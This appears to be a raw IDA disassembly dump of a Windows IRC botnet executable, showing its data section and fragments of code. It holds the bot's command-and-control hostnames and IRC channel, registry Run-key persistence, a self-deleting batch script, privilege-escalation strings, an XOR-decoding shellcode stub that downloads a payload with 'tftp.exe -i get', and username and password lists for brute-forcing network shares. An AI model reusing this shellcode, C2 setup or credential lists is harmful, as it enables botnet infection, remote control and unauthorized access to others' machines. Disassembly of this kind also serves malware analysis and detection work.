aBind		db 'bind',0             ; DATA XREF: sub_4045F0+5AFo
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4045F0+59Do
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4045F0+590o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4045F0+583o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4045F0+576o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4045F0+569o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4045F0+55Co
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4045F0+54Fo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4045F0+542o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4045F0+535o
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4045F0+528o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4045F0+51Bo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4045F0+50Eo
aSocket		db 'socket',0           ; DATA XREF: sub_4045F0+501o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4045F0+4F4o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4045F0+4E7o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4045F0+4DAo
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4045F0+4CDo
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4045F0+4C0o
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4045F0+4B3o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4045F0+4ABo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4045F0:loc_404A86o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4045F0+429o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4045F0+41Co
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4045F0+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4045F0+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4045F0+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4045F0+3C6o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4045F0:loc_4049A5o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4045F0:loc_40497Do
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4045F0+30Eo
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4045F0+301o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4045F0+2F4o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4045F0+2E7o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4045F0:loc_4048CFo
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4045F0+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4045F0+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4045F0+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4045F0+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4045F0+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4045F0:loc_4047F5o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4045F0+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4045F0+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4045F0+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4045F0+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4045F0+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4045F0+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4045F0+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4045F0:loc_404725o
					; sub_4149C4+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4045F0+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4045F0+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4045F0+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4045F0+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4045F0+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4045F0+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4045F0+Ao
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4052BA+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_40537F+5o
					; sub_40615D+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_405401+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054A5+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4054C7+140o
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4054C7+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4054C7+48o
		align 4
		dd offset aAdd		; "Add"
		dd offset aAdded	; "Added"
		dd 0
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop		; "Stop"
		dd offset aStopped	; "Stopped"
		dd 1, 41BC5Ch, 41BC54h,	2, 41BC48h, 41BC3Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause		db 'Pause',0
		align 4
aStopped	db 'Stopped',0          ; DATA XREF: .nsp0:0041BC1Co
aStop		db 'Stop',0             ; DATA XREF: .nsp0:0041BC18o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:0041BC10o
aStart		db 'Start',0            ; DATA XREF: .nsp0:0041BC0Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0041BC04o
		align 4
aList_0		db 'List',0             ; DATA XREF: .nsp0:0041BC00o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:0041BBF8o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:0041BBF4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:0041BBECo
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:0041BBE8o
aGuest		db 'Guest',0            ; DATA XREF: .nsp0:0041C340o
		align 4
aUser_0		db 'User',0             ; DATA XREF: .nsp0:0041C370o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: .nsp0:0041C334o
		align 10h
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_405687:loc_40574Bo
		align 4
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_405687:loc_405726o
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405687:loc_4056DCo
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
					; DATA XREF: sub_405687+45o
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_405816+119o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_405816+4Eo
					; sub_405816+99o
		align 4
unk_41BD94	db  1Fh			; DATA XREF: sub_4059C3:loc_405A50o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessListFai	db ' Process list failed.',0
		align 4
unk_41BDB8	db  1Fh			; DATA XREF: sub_4059C3+86o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessListCom	db ' Process list completed.',0
		align 10h
unk_41BDE0	db  1Fh			; DATA XREF: sub_4059C3+19o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aListingProcess	db ' Listing processes:',0
		align 8
unk_41BE08	db  1Fh			; DATA XREF: sub_405AD8+E9o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aClientConnecti	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_41BE50	db  1Fh			; DATA XREF: sub_405C55+E1o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aClientConnec_0	db ' Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
dword_41BE98	dd 736E6F63h		; DATA XREF: sub_4061FA+Fr
		dd 74h,	0
dword_41BEA4	dd 1			; DATA XREF: sub_4061FA:loc_406221r
off_41BEA8	dd offset sub_405EC4	; DATA XREF: sub_4061FA+4Ar
aLetter		db 'letter',0
		align 8
		dd 2, 405F22h, 706D6F63h, 2 dup(0)
		dd 3, 405F6Fh, 6E756F63h, 797274h, 0
		dd 4, 405FDEh, 736Fh, 2	dup(0)
		dd 5, 406053h
dword_41BEFC	dd 69257325h, 0		; DATA XREF: sub_405EC4+40o
					; .nsp0:00405FBFo ...
dword_41BF04	dd 4350h		; DATA XREF: .nsp0:00405F8Co
dword_41BF08	dd 7C7325h		; DATA XREF: .nsp0:0040600Do
dword_41BF0C	dd 5D73255Bh, 7Ch	; DATA XREF: .nsp0:00406117o
dword_41BF14	dd 3F3F3Fh		; DATA XREF: .nsp0:loc_40610Eo
					; sub_40A1F9:loc_40A2BCo
dword_41BF18	dd 334B32h		; DATA XREF: .nsp0:00406107o
dword_41BF1C	dd 5058h		; DATA XREF: .nsp0:004060F9o
					; sub_40A1F9+AAo
dword_41BF20	dd 4B32h		; DATA XREF: .nsp0:004060E9o
					; sub_40A1F9+98o
dword_41BF24	dd 454Dh		; DATA XREF: .nsp0:004060D0o
					; sub_40A1F9+7Eo
dword_41BF28	dd 3839h		; DATA XREF: .nsp0:004060C0o
					; sub_40A1F9+6Co
dword_41BF2C	dd 544Eh		; DATA XREF: .nsp0:004060B0o
					; sub_40A1F9+5Ao
dword_41BF30	dd 3539h		; DATA XREF: .nsp0:004060A2o
					; sub_40A1F9+46o
dword_41BF34	dd 5D64255Bh, 7325h	; DATA XREF: sub_40615D+3Ao
dword_41BF3C	dd 5D4D5Bh		; DATA XREF: sub_40615D+2Co
					; sub_40615D+51o
unk_41BF40	db  1Fh			; DATA XREF: sub_406264+92o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aIpSPortDIsOpen	db ' IP: %s Port: %d is open.',0
		align 4
dword_41BF68	dd 273021Fh, 6E61631Fh,	2BB0220h, 635320BBh, 696E6E61h
					; DATA XREF: sub_406331+41o
		dd 4920676Eh, 25203A50h, 50202C73h, 3A74726Fh, 2E642520h
		dd 0
		dd offset dword_41BFCC
		dd 0
		dd offset dword_41BFC4
		dd 0
		dd offset dword_41BFC0
		dd offset dword_41BFBC
		dd offset dword_41BFB8
		dd offset dword_41BFB4
dword_41BFB4	dd 5C3A44h		; DATA XREF: .nsp0:0041BFB0o
dword_41BFB8	dd 2444h		; DATA XREF: .nsp0:0041BFACo
dword_41BFBC	dd 5C3A43h		; DATA XREF: .nsp0:0041BFA8o
dword_41BFC0	dd 2443h		; DATA XREF: .nsp0:0041BFA4o
dword_41BFC4	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:0041BF9Co
dword_41BFCC	dd 24435049h, 2	dup(0)	; DATA XREF: .nsp0:0041BF94o
; ---------------------------------------------------------------------------
		jmp	short loc_41BFDC
; ---------------------------------------------------------------------------


loc_41BFDA:				; CODE XREF: .nsp0:loc_41BFDCp
		jmp	short loc_41BFE1
; ---------------------------------------------------------------------------


loc_41BFDC:				; CODE XREF: .nsp0:0041BFD8j
		call	loc_41BFDA


loc_41BFE1:				; CODE XREF: .nsp0:loc_41BFDAj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_41BFE8:				; CODE XREF: .nsp0:0041BFEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_41BFE8
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_41BFFE:				; CODE XREF: .nsp0:0041C003j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_41BFFE
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_41C0A0
		jnz	short loc_41C08C
		retn
; ---------------------------------------------------------------------------


loc_41C08C:				; CODE XREF: .nsp0:0041C089j
					; .nsp0:0041C099j
		call	near ptr loc_41C091+1


loc_41C091:				; CODE XREF: .nsp0:loc_41C08Cp
		add	[edx+0], ch
		call	sub_41C0A0
		jz	loc_41C08C
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: .nsp0:0041C084p
					; .nsp0:0041C094p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		align 10h
dword_41C0D0	dd 0F51h		; DATA XREF: sub_406422+3A1r
					; sub_406422+42Ar
dword_41C0D4	dd 1B58h		; DATA XREF: sub_406422+471r
dword_41C0D8	dd 1AF4h		; DATA XREF: sub_401141+3Ar
					; sub_406BAB+2C59r
dword_41C0DC	dd 1			; DATA XREF: sub_406BAB+615r
dword_41C0E0	dd 1			; DATA XREF: sub_406422+13Fr
dword_41C0E4	dd 1			; DATA XREF: sub_4054C7+Cr
					; sub_406422:loc_40674Er
byte_41C0E8	db 2Eh			; DATA XREF: sub_4037CD:loc_4037D9r
					; sub_406BAB+67Er ...
		align 4
dword_41C0EC	dd 0Ah			; DATA XREF: sub_405EC4+2Br
					; sub_405EC4+51r ...
dword_41C0F0	dd 4			; DATA XREF: sub_4068DA+78r
					; sub_406BAB+267r ...
dword_41C0F4	dd 1			; DATA XREF: sub_4068DA+72r
					; sub_406BAB+261r
aNet1		db 'net1',0
		align 10h
		db 2 dup(0)
byte_41C102	db 1			; DATA XREF: sub_406BAB:loc_409496r
					; sub_406BAB+28F5o
aNet2		db 'net2',0
		dd 0
		dd 2D610100h, 3368h, 0
		dd 1, 2	dup(0)
a3677		db '3677',0
		align 4
aAdmin		db 'Admin',0
		align 4
aAdmin_0	db 'Admin',0
		align 4
aKtsFinally	db 'KTS-Finally',0      ; DATA XREF: sub_406422+62o
					; sub_406BAB+1F95o ...
aHum__		db 'Hum..',0
		align 10h
aSock		db 'sock',0             ; DATA XREF: sub_406BAB+33DBo
					; sub_406BAB+349Eo
		align 4
aPrv_blackroz_c	db 'prv.blackroz.com',0 ; DATA XREF: sub_406422+396o
					; sub_406422+41Fo
		align 4
aPrv		db '#prv#',0            ; DATA XREF: sub_406422+3ADo
					; sub_406422+431o
		align 4
aPr__		db 'pr..',0             ; DATA XREF: sub_406422+3C4o
					; sub_406422+443o
		align 4
byte_41C17C	db 70h			; DATA XREF: sub_406422:loc_406879r
					; sub_406422+466o
aRv_blackroz_co	db 'rv.blackroz.com',0
		align 10h
aPrv_0		db '#prv#',0            ; DATA XREF: sub_406422+478o
		align 4
aPr___0		db 'pr..',0             ; DATA XREF: sub_406422+48Ao
		align 10h
byte_41C1A0	db 74h			; DATA XREF: sub_401141+68o
					; sub_401141+176o ...
		db 74h,	65h, 69h
		dd 6477726Bh, 78652E62h, 65h
aMicrosoftsSyst	db 'Microsofts Systems Services One ',0 ; DATA XREF: sub_4031BC+Bo
		align 4
aWw		db 'Ww|',0              ; DATA XREF: sub_405EC4+12o
aEncrtpyleser_x	db 'encrtpyleser.xml',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_406BAB+350Fo
aPrv_1		db '#prv##',0           ; DATA XREF: sub_406BAB:loc_4085DFo
					; sub_406BAB+2AB9o ...
		align 4
aPrv_2		db '#prv##',0
		align 10h
off_41C200	dd offset a@ktw_com	; DATA XREF: sub_406BAB+343Er
					; "*@KTW.com"
off_41C204	dd offset aEggdropV1_6_20 ; DATA XREF: sub_406BAB+7F4r
					; "eggdrop v1.6.20"
		dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .nsp0:off_41AD2Co
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_1	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aLinux	; "linux"
		align 10h
		dd offset byte_422270
		dd offset aAdmin_1	; "admin"
		dd offset aAdmin_2	; "ADMIN"
		dd offset aAdmin_3	; "Admin"
		dd offset aAdmin123	; "admin123"
		dd offset aAdministrado_0 ; "Administrador"
		dd offset aAdministrate_0 ; "Administrateur"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aGuest_0	; "guest"
		dd offset aGuest	; "Guest"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefault_1	; "Default"
		dd offset aLocal	; "LOCAL"
		dd offset aPassword	; "password"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aPassword_1	; "Password"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aUser_1	; "user"
		dd offset aUser		; "USER"
		dd offset aUser_0	; "User"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aAdmin_2	; "ADMIN"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser		; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aLocal	; "LOCAL"
		dd offset asc_41C4A0	; "%"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset asc_41C47C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_419924
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		align 8
dword_41C418	dd 10h			; DATA XREF: sub_40304D+72w
					; sub_406BAB+6E2r ...
a000000		db '000000',0           ; DATA XREF: .nsp0:0041C410o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:0041C40Co
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:0041C408o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:0041C404o
a00		db '00',0               ; DATA XREF: .nsp0:0041C400o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0041C3F8o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0041C3F4o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0041C3F0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:0041C3ECo
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0041C3E8o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0041C3E4o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:0041C3E0o
aXx		db 'xx',0               ; DATA XREF: .nsp0:0041C3DCo
		align 4
asc_41C47C:				; DATA XREF: .nsp0:0041C3D8o
		unicode	0, <x>,0
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0041C3D4o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0041C3D0o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0041C3C8o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:0041C3C4o
		align 10h
asc_41C4A0:				; DATA XREF: .nsp0:0041C3C0o
		unicode	0, <%>,0
aServer_0	db 'SERVER',0           ; DATA XREF: .nsp0:0041C3B8o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:0041C3B0o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:0041C3A8o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:0041C3A4o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:0041C3A0o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:0041C39Co
		align 4
aRead		db 'READ',0             ; DATA XREF: .nsp0:0041C398o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:0041C394o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:0041C390o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0041C38Co
		align 4
aShare		db 'SHARE',0            ; DATA XREF: .nsp0:0041C388o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0041C384o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0041C378o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0041C374o
		align 4
aUser_1		db 'user',0             ; DATA XREF: .nsp0:0041C368o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:0041C364o
					; .nsp0:0041C3B4o
		align 4
aSystem		db 'system',0           ; DATA XREF: .nsp0:0041C360o
		align 4
aPassword_1	db 'Password',0         ; DATA XREF: .nsp0:0041C35Co
		align 4
aPassword_0	db 'PASSWORD',0         ; DATA XREF: .nsp0:0041C358o
					; .nsp0:0041C380o
		align 4
aPassword	db 'password',0         ; DATA XREF: .nsp0:0041C354o
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:0041C350o
					; .nsp0:0041C3BCo
		align 4
aDefault_1	db 'Default',0          ; DATA XREF: .nsp0:0041C34Co
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:0041C348o
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0041C330o
		align 4
aAdministrate_0	db 'Administrateur',0   ; DATA XREF: .nsp0:0041C328o
		align 4
aAdministrado_0	db 'Administrador',0    ; DATA XREF: .nsp0:0041C324o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:0041C320o
		align 4
aAdmin_3	db 'Admin',0            ; DATA XREF: .nsp0:0041C31Co
		align 4
aAdmin_2	db 'ADMIN',0            ; DATA XREF: .nsp0:0041C318o
					; .nsp0:0041C37Co
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:0041C304o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0041C300o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:0041C2FCo
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:0041C2F8o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0041C2F4o
					; .nsp0:0041C3CCo
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:0041C2F0o
					; .nsp0:0041C344o
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:0041C2ECo
					; .nsp0:0041C33Co
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0041C2E8o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0041C2E4o
aStudent	db 'student',0          ; DATA XREF: .nsp0:0041C2E0o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:0041C2DCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0041C2D8o
		align 4
aRoot		db 'root',0             ; DATA XREF: .nsp0:0041C2D4o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0041C2D0o
		align 4
aAdmin_1	db 'admin',0            ; DATA XREF: .nsp0:0041C2CCo
					; .nsp0:0041C314o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:0041C2C8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0041C2C4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:0041C2C0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:0041C2BCo
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .nsp0:0041C2B8o
					; .nsp0:0041C32Co ...
		align 4
aEggdropV1_6_17	db 'eggdrop v1.6.17',0  ; DATA XREF: .nsp0:0041C208o
aEggdropV1_6_20	db 'eggdrop v1.6.20',0  ; DATA XREF: .nsp0:off_41C204o
a@ktw_com	db '*@KTW.com',0        ; DATA XREF: .nsp0:off_41C200o
		align 10h
